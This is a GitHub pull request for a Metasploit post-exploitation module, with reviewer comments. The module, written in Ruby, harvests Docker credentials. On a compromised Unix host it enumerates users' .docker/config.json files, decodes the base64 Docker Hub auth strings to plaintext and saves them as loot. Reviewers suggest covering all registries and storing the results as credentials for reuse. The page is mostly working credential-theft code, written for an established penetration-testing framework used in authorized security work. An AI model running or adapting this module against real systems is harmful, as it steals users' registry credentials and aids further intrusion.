New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Post module for gather Docker credentials #8774
Changes from 3 commits
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,74 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
require 'json' | ||
|
||
class MetasploitModule < Msf::Post | ||
include Msf::Post::File | ||
include Msf::Post::Unix | ||
|
||
def initialize(info={}) | ||
super( update_info(info, | ||
'Name' => 'Multi Gather Docker Credentials Collection', | ||
'Description' => %q{ | ||
This module will collect the contents of all users' .docker directories on the targeted | ||
machine. If the user has already push to docker hub, chances are that the password was | ||
saved in base64 (default behavior). | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => ['Flibustier'], | ||
'Platform' => %w{ bsd linux osx unix }, | ||
'SessionTypes' => ['shell'] | ||
)) | ||
end | ||
|
||
# This module is largely based on gpg_creds.rb. | ||
|
||
def run | ||
print_status("Finding .docker directories") | ||
paths = enum_user_directories.map {|d| d + "/.docker"} | ||
# Array#select! is only in 1.9 | ||
paths = paths.select { |d| directory?(d) } | ||
|
||
if paths.nil? || paths.empty? | ||
print_error("No users found with a .docker directory") | ||
return | ||
end | ||
|
||
download_loot(paths) | ||
end | ||
|
||
def download_loot(paths) | ||
print_status("Looting #{paths.count} directories") | ||
paths.each do |path| | ||
path.chomp! | ||
file = "config.json" | ||
target = "#{path}/#{file}" | ||
|
||
if file? target | ||
print_status("Downloading #{target} -> #{file}") | ||
extract(target) | ||
end | ||
end | ||
end | ||
|
||
def extract(target) | ||
file = read_file(target) | ||
parsed = JSON.parse(file) | ||
if parsed["auths"] && parsed["auths"]["https://index.docker.io/v1/"] | ||
creds = parsed["auths"]["https://index.docker.io/v1/"]["auth"] | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Given @jhart-r7's feedback may be worth converting to loop thru all keys in Keep in mind the impacts looping would have on the |
||
|
||
if creds.length > 0 | ||
plain = Rex::Text.decode_base64(creds) | ||
print_good("Found #{plain}") | ||
loot_path = store_loot("docker.credentials", "text/plain", session, plain, | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. It would nice to see this stored as a credential vs loot. We all know about password reuse. Having the credential object can be very helpful. Consider adjustment to:
While this is not the 100% expected usage for
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Very nice, I had integrated the suggestions! Let me know what you think Thanks |
||
"config.json", "Docker credentials from #{target}") | ||
print_good("Saved credentials to #{loot_path}") | ||
end | ||
else | ||
print_status("No credentials found in config file") | ||
end | ||
end | ||
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
you should check if paths is nil here to prevent future bugs
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
But it's check before the call to the function
What is better?